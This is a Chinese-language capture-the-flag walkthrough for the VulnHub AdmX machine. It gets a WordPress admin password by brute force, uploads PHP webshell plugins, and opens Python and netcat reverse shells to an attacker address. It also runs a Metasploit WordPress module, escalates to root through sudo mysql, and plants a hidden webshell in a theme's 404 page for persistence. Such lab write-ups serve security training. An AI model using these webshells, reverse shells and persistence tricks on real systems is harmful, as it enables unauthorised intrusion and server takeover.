前言提要
靶机地址: https://download.vulnhub.com/admx/AdmX_new.7z
难度等级: 中
打靶目标: 取得 2 个 flag + root 权限
本周的靶机中部署了Wordpress应用,最终我们利用系统权限配置缺陷和MySQL自身的特性完成了最终的提权,这与我们以往的提权方式非常不同,希望对大家日后的实战渗透思路有所帮助!
常见的后台管理页面getshell 的方法有:
- 页面源码修改(主题、页面、文章或者插件的源码)
- 命令执行(
WordPress 附加的一些功能) - 文件上传(主题、插件、图片的上传)
安装Feroxbuster
#安装Feroxbuster
$ sudo apt install feroxbuster
# 字典比较大,安装时间会比较久
$ sudo apt install seclists
靶机攻略
涉及攻击方法:
主机发现
端口扫描
WEB路径爆破
BurpSuite内容替换
密码爆破
MSF漏洞利用
Wordpress后台漏洞利用
升级Full TTY终端
利用MySQL提权
信息收集
nmap -p80 -sV -A 192.168.147.xxx
扫了一遍,只出现了http服务的80端口,而且是apache的默认页面
进行目录扫描,得到了/wordpress/wp-login.php和/wordpress
feroxbuster --url http://192.168.147.xxx
访问路径,加载的时候等待时间较长,且网页加载不完全。
BP内容替换
F12捕获网络数据流可以发现一些数据包向192.168.159.145 请求资源,导致了资源请求失败。
因此为了让这些资源可以正常加载,选择了BP里设置对响应头和响应体的匹配和替换。
刷新页面即可显示加载成功
密码爆破
进入后台登录口
- 随便输入账号密码,提示该用户不存在
- 输入账号:admin 随便密码,提示密码错误
证明admin用户存在,所以进行密码暴力破解,可以用kali自带的字典rockyou,字典位在/usr/share/wordlists/rockyou.txt.gz ,这个字典非常的全面和强大
密码:adam14
可以注意到WordPress的版本是5.7.1,拿到之后第一个想法就是搜历史漏洞,但好像没搜出来好用的,于是就只能从WordPress一些功能点上下手了。
我们通过文件上传(主题、插件、图片的上传)的方式进行后台管理页面getshell
第一种Getshell
<?php
if(isset($_GET['kk']))
{
system($_GET['kk']);
}
?>
上传一个php的shell,压缩成Zip,点击install now,上传刚刚的test.zip
点击Activate Plugin,激活插件
木马插件保存在/wordpress/wp-content/plugins/shell.php?kk=id ,可以成功执行命令
利用该马子,反弹shell
这里使用nc和bash都不能反弹shell,而靶机存在python3环境,所以可以使用python 反弹shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.147.xxx",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
kali端
nc -lvnp 1234
去到/home/wpadmin ,尝试cat local.txt 无权限
查看配置文件wp-config.php,得到密码:Wp_Admin#123,但是su wpadmin失败,尝试密码:adam14,成功!!!
cd /home
ls
cd wpadmin
sudo wpadmin
#密码:adam14
ls
cat local.txt
Mysql提权
sudo -l发现mysql可以不用root密码以执行root权限
sudo /usr/bin/mysql -u root -D wordpress -p ,再次输入密码adam14。
这里是可以执行系统命令的,所以轻松获取第二个flag
sudo -l
sudo /usr/bin/mysql -u root -D wordpress -p
#密码:adam14
system id
system bash
cd /root/
ls
cat proof.txt
第二种Getshell
<?php
@eval($_POST['Tuzk1']);
?>
然后zip 压缩一下即可上传,之后active 激活即可。
webshell 的地址是/wordpress/wp-content/plugins/webshell.php 然后通过提交POST 参数反弹shell 即可:
system('nc 192.168.100.62 3333 | /bin/bash | nc 192.168.100.62 4444');
which python3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.62",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
$ msfconsole
msf6> search wordpress admin
msf6> use exploit/unix/webapp/wp_admin_shell_upload
msf6> show options
msf6> set USERNAME admin
msf6> set PASSWORD adam14
msf6> set RHOSTS 192.168.100.61
msf6> set TARGETURI /wordpress
msf6> run
meterpreter> shell
此外,在通过webshell 反弹shell 之后,我们可以在404 页面中写入一个shell ,在真实的渗透中,这样的做法会降低webshell 被管理员发现的风险,并且在目标机器的环境改变 / 漏洞修复之后也还能继续连接。但是,凭借现在反弹得到的webshell 是无法直接进行文件编辑的(因为不是完全交互式的shell ),因此需要将shell 升级到FullTTY 模式:
$ ls /bin/bash
$ chsh -s /bin/bash
$ reboot
$ echo $SHELL
然后重新反弹shell 后(如果是使用python3 反弹shell )继续升级shell :
$ stty raw -echo
$ fg
$ export SHELL=/bin/bash
$ export TERM=screen
$ stty rows 38 columns 16
$ reset
$ vi /var/www/html/wordpress/wp-content/themes/twentytwentyone/404.php
之后就是信息收集和提权了:
$ cat /etc/passwd
$ ls /home/wpadmin
$ cat /var/www/html/wordpress/wp-config.php
$ mysql -u admin -p Wp_Admin
$ su wpadmin
$ cat local.txt
$ mysql -u admin -p Wp_Admin
> system id
uid=0(root) gid=0(root) groups=0(root)
> \! /bin/bash
$ cat /root/proof.txt
第二种getshell来源: Tuzk1 文章链接: http://tuzk1.top/posts/80d7ff5f.html
|